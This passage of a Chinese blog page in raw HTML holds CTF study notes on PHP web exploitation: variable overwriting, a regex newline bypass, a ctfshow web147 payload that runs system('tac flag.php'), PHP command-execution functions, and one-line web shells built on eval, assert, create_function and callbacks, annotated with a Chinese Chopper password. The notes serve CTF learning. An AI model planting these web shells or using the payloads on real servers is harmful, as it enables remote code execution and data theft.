<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li></ul></pre>
<h5><a id="parse_str_319"></a>parse_str()</h5>
<pre data-index="11" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"> <span class="token function">parse_str</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"name=Peter&age=43"</span><span class="token punctuation">,</span><span class="token variable">$myArray</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">print_r</span><span class="token punctuation">(</span><span class="token variable">$myArray</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">//Array ( [name] => Peter [age] => 43 )</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<p>// TODO 再写几道例题</p>
<h5><a id="import_request_variables_327"></a>import_request_variables()</h5>
<p><strong>import_request_variables()</strong> 函数将 get/post/cookie 变量导入到全局作用域中。如果你禁止了 register_globals,但又想用到一些全局变量,那么此函数就很有用。<strong>该函数在最新版本的 php 中已经不支持</strong></p>
<blockquote>
<p>似乎没啥考点这个函数,可参考 <a href="https://blog.csdn.net/vhkjhwbs/article/details/100061332"> CTF——PHP审计——变量覆盖_Captain Hammer的博客-CSDN博客_foreach ($_get as $key => $value)</a></p>
</blockquote>
<h5><a id="_333"></a>开启了全局变量注册</h5>
<h4><a name="t25"></a><a id="_335"></a>其他</h4>
<ul><li> <p><code>call_user_func(array($ctfshow, ‘getFlag’));</code> 等于 <code>ctfshow::getFlag</code> (执行ctfshow类中静态方法getFlag)</p> </li><li> <pre data-index="12" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token variable">$cmd</span><span class="token operator">=</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/^php$/im'</span><span class="token punctuation">,</span> <span class="token variable">$cmd</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{<!-- --></span> <span class="token comment"># /i表示不区分大小写,/m表示多行匹配</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/^php$/i'</span><span class="token punctuation">,</span> <span class="token variable">$cmd</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{<!-- --></span> <span class="token comment"># 字符 ^ 和 $ 同时使用时,表示精确匹配 </span>
<span class="token keyword">echo</span> <span class="token string single-quoted-string">'hacker'</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
payload:<span class="token operator">?</span>cmd<span class="token operator">=</span>aaa<span class="token operator">%</span><span class="token number">0</span>aphp <span class="token comment"># %0a为换行符,这样是两行</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li></ul></pre> </li><li> <pre data-index="13" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">// TODO ctfshow web123 </span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre> </li><li> <pre data-index="14" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">// ctfshow web147</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'ctf'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{<!-- --></span>
<span class="token variable">$ctfshow</span> <span class="token operator">=</span> <span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'ctf'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/^[a-z0-9_]*$/isD'</span><span class="token punctuation">,</span><span class="token variable">$ctfshow</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span>
<span class="token variable">$ctfshow</span><span class="token punctuation">(</span><span class="token string single-quoted-string">''</span><span class="token punctuation">,</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'show'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token comment">// GET部分原理如下</span>
<span class="token keyword">function</span> <span class="token function-definition function">f</span><span class="token punctuation">(</span><span class="token variable">$dotast</span><span class="token punctuation">)</span><span class="token punctuation">{<!-- --></span>
<span class="token keyword">echo</span> <span class="token number">111</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token function">phpinfo</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//}</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li></ul></pre> <p>payload:</p> <p>GET <code>?show=echo 123;}system("tac flag.php");//</code></p> <p>POST <code>ctf=\create_function</code> (\为PHP默认命名空间,\phpinfo即为直接调用该函数)</p> </li></ul>
<h2><a name="t26"></a><a id="_377"></a>命令执行</h2>
<h3><a name="t27"></a><a id="_379"></a>相关函数</h3>
<h4><a name="t28"></a><a id="_381"></a>命令执行</h4>
<ul><li> <p><strong>system()</strong></p> <pre data-index="15" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#string system ( string $command [, int &$return_var ] )</span>
<span class="token comment">#system()函数执行有回显,将执行结果输出到页面上</span>
<span class="token operator"><</span><span class="token operator">?</span>php
<span class="token function">system</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"whoami"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre> </li><li> <p><strong>exec()</strong></p> <pre data-index="16" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token delimiter important"><?php</span>
<span class="token keyword">echo</span> <span class="token function">exec</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"whoami"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre> </li><li> <p><strong>popen()</strong></p> <pre data-index="17" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#resource popen ( string $command , string $mode )</span>
<span class="token comment">#函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读#和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行</span>
<span class="token operator"><</span><span class="token operator">?</span>php <span class="token function">popen</span><span class="token punctuation">(</span> <span class="token string single-quoted-string">'whoami >> c:/1.txt'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'r'</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token operator">?</span><span class="token operator">></span>
<span class="token operator"><</span><span class="token operator">?</span><span class="token class-name type-declaration">php</span>
<span class="token variable">$test</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"ls /tmp/test"</span><span class="token punctuation">;</span>
<span class="token variable">$fp</span> <span class="token operator">=</span> <span class="token function">popen</span><span class="token punctuation">(</span><span class="token variable">$test</span><span class="token punctuation">,</span><span class="token string double-quoted-string">"r"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">//popen打一个进程通道 </span>
<span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">feof</span><span class="token punctuation">(</span><span class="token variable">$fp</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{<!-- --></span> <span class="token comment">//从通道里面取得东西 </span>
<span class="token variable">$out</span> <span class="token operator">=</span> <span class="token function">fgets</span><span class="token punctuation">(</span><span class="token variable">$fp</span><span class="token punctuation">,</span> <span class="token number">4096</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">echo</span> <span class="token variable">$out</span><span class="token punctuation">;</span> <span class="token comment">//打印出来 </span>
<span class="token punctuation">}</span>
<span class="token function">pclose</span><span class="token punctuation">(</span><span class="token variable">$fp</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li></ul></pre> </li><li> <p><strong>proc_open()</strong></p> <pre data-index="18" class="set-code-hide prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;">resource <span class="token function">proc_open</span> <span class="token punctuation">(</span>
<span class="token keyword type-hint">string</span> <span class="token variable">$cmd</span> <span class="token punctuation">,</span>
<span class="token keyword type-hint">array</span> <span class="token variable">$descriptorspec</span> <span class="token punctuation">,</span>
<span class="token keyword type-declaration">array</span> <span class="token operator">&</span><span class="token variable">$pipes</span> <span class="token punctuation">[</span><span class="token punctuation">,</span> <span class="token keyword type-hint">string</span> <span class="token variable">$cwd</span> <span class="token punctuation">[</span><span class="token punctuation">,</span> <span class="token keyword type-hint">array</span> <span class="token variable">$env</span> <span class="token punctuation">[</span><span class="token punctuation">,</span> <span class="token keyword type-hint">array</span> <span class="token variable">$other_options</span> <span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">]</span>
<span class="token punctuation">)</span>
<span class="token comment">#与Popen函数类似,但是可以提供双向管道</span>
<span class="token operator"><</span><span class="token operator">?</span><span class="token class-name type-declaration">php</span>
<span class="token variable">$test</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"ipconfig"</span><span class="token punctuation">;</span>
<span class="token variable">$array</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span>
<span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"pipe"</span><span class="token punctuation">,</span><span class="token string double-quoted-string">"r"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token comment">//标准输入 </span>
<span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"pipe"</span><span class="token punctuation">,</span><span class="token string double-quoted-string">"w"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token comment">//标准输出内容 </span>
<span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"pipe"</span><span class="token punctuation">,</span><span class="token string double-quoted-string">"w"</span><span class="token punctuation">)</span> <span class="token comment">//标准输出错误 </span>
<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$fp</span> <span class="token operator">=</span> <span class="token function">proc_open</span><span class="token punctuation">(</span><span class="token variable">$test</span><span class="token punctuation">,</span><span class="token variable">$array</span><span class="token punctuation">,</span><span class="token variable">$pipes</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">//打开一个进程通道 </span>
<span class="token keyword">echo</span> <span class="token function">stream_get_contents</span><span class="token punctuation">(</span><span class="token variable">$pipes</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">//为什么是$pipes[1],因为1是输出内容 </span>
<span class="token function">proc_close</span><span class="token punctuation">(</span><span class="token variable">$fp</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li></ul></pre> </li><li> <p><strong>passthru()</strong></p> <pre data-index="19" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#void passthru ( string $command [, int &$return_var ] )</span>
<span class="token operator"><</span><span class="token operator">?</span>php
<span class="token function">passthru</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"whoami"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre> </li><li> <p><strong>shell_exec()</strong></p> <pre data-index="20" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#string shell_exec( string &command)</span>
<span class="token operator"><</span><span class="token operator">?</span>php
<span class="token keyword">echo</span> <span class="token function">shell_exec</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"whoami"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre> </li><li> <p><strong>反引号 `</strong></p> <pre data-index="21" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行</span>
<span class="token operator"><</span><span class="token operator">?</span>php
<span class="token keyword">echo</span> <span class="token string backtick-quoted-string">`whoami`</span><span class="token punctuation">;</span>
<span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre> </li><li> <p><strong>pcntl_exec()</strong></p> <pre data-index="22" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#void pcntl_exec ( string $path [, array $args [, array $envs ]] )</span>
<span class="token comment">#path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本</span>
<span class="token comment">#args是一个要传递给程序的参数的字符串数组。</span>
<span class="token comment">#pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。</span>
<span class="token comment">#pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0</span>
<span class="token operator"><</span><span class="token operator">?</span>php
<span class="token function">pcntl_exec</span> <span class="token punctuation">(</span> <span class="token string double-quoted-string">"/bin/bash"</span> <span class="token punctuation">,</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"whoami"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li></ul></pre> </li></ul>
<h4><a name="t29"></a><a id="_499"></a>代码注入</h4>
<ul><li> <p><strong>eval()</strong></p> <pre data-index="23" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#传入的参数必须为PHP代码,既需要以分号结尾。</span>
<span class="token comment">#命令执行:cmd=system(whoami);</span>
<span class="token comment">#菜刀连接密码:cmd</span>
<span class="token operator"><</span><span class="token operator">?</span>php @<span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre> </li><li> <p><strong>assert()</strong></p> <pre data-index="24" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。</span>
<span class="token comment">#命令执行:cmd=system(whoami)</span>
<span class="token comment">#菜刀连接密码:cmd</span>
<span class="token operator"><</span><span class="token operator">?</span>php @<span class="token function">assert</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre> </li><li> <p><strong>preg_replace()</strong></p> <pre data-index="25" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#preg_replace('正则规则','替换字符','目标字符')</span>
<span class="token comment">#执行命令和上传文件参考assert函数(不需要加分号)。</span>
<span class="token comment">#将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。</span>
<span class="token function">preg_replace</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"/test/e"</span><span class="token punctuation">,</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string double-quoted-string">"cmd"</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token string double-quoted-string">"jutst test"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre> </li><li> <p><strong>create_function()</strong></p> <pre data-index="26" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#创建匿名函数执行代码</span>
<span class="token comment">#执行命令和上传文件参考eval函数(必须加分号)。</span>
<span class="token comment">#菜刀连接密码:cmd</span>
<span class="token variable">$func</span> <span class="token operator">=</span><span class="token function">create_function</span><span class="token punctuation">(</span><span class="token string single-quoted-string">''</span><span class="token punctuation">,</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre> </li><li> <p><strong>array_map()</strong></p> <pre data-index="27" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。</span>
<span class="token comment">#命令执行http://localhost/123.php?func=system cmd=whoami</span>
<span class="token comment">#菜刀连接http://localhost/123.php?func=assert 密码:cmd</span>
<span class="token variable">$func</span><span class="token operator">=</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'func'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$cmd</span><span class="token operator">=</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$array</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token operator">=</span><span class="token variable">$cmd</span><span class="token punctuation">;</span>
<span class="token variable">$new_array</span><span class="token operator">=</span><span class="token function">array_map</span><span class="token punctuation">(</span><span class="token variable">$func</span><span class="token punctuation">,</span><span class="token variable">$array</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">echo</span> <span class="token variable">$new_array</span><span class="token punctuation">;</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li></ul></pre> </li><li> <p><strong>call_user_func()</strong></p> <pre data-index="28" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#传入的参数作为assert函数的参数</span>
<span class="token comment">#cmd=system(whoami)</span>
<span class="token comment">#菜刀连接密码:cmd</span>
<span class="token function">call_user_func</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"assert"</span><span class="token punctuation">,</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre> </li><li> <p><strong>call_user_func_array()</strong></p> <pre data-index="29" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#将传入的参数作为数组的第一个值传递给assert函数</span>
<span class="token comment">#cmd=system(whoami)</span>
<span class="token comment">#菜刀连接密码:cmd</span>
<span class="token variable">$cmd</span><span class="token operator">=</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$array</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token operator">=</span><span class="token variable">$cmd</span><span class="token punctuation">;</span>
<span class="token function">call_user_func_array</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"assert"</span><span class="token punctuation">,</span><span class="token variable">$array</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre> </li><li> <p><strong>array_filter()</strong></p> <pre data-index="30" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#用回调函数过滤数组中的元素:array_filter(数组,函数)</span>
<span class="token comment">#命令执行func=system&cmd=whoami</span>
<span class="token comment">#菜刀连接http://localhost/123.php?func=assert 密码cmd</span>
<span class="token variable">$cmd</span><span class="token operator">=</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$array1</span><span class="token operator">=</span><span class="token keyword">array</span><span class="token punctuation">(</span><span class="token variable">$cmd</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$func</span> <span class="token operator">=</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'func'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token function">array_filter</span><span class="token punctuation">(</span><span class="token variable">$array1</span><span class="token punctuation">,</span><span class="token variable">$func</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
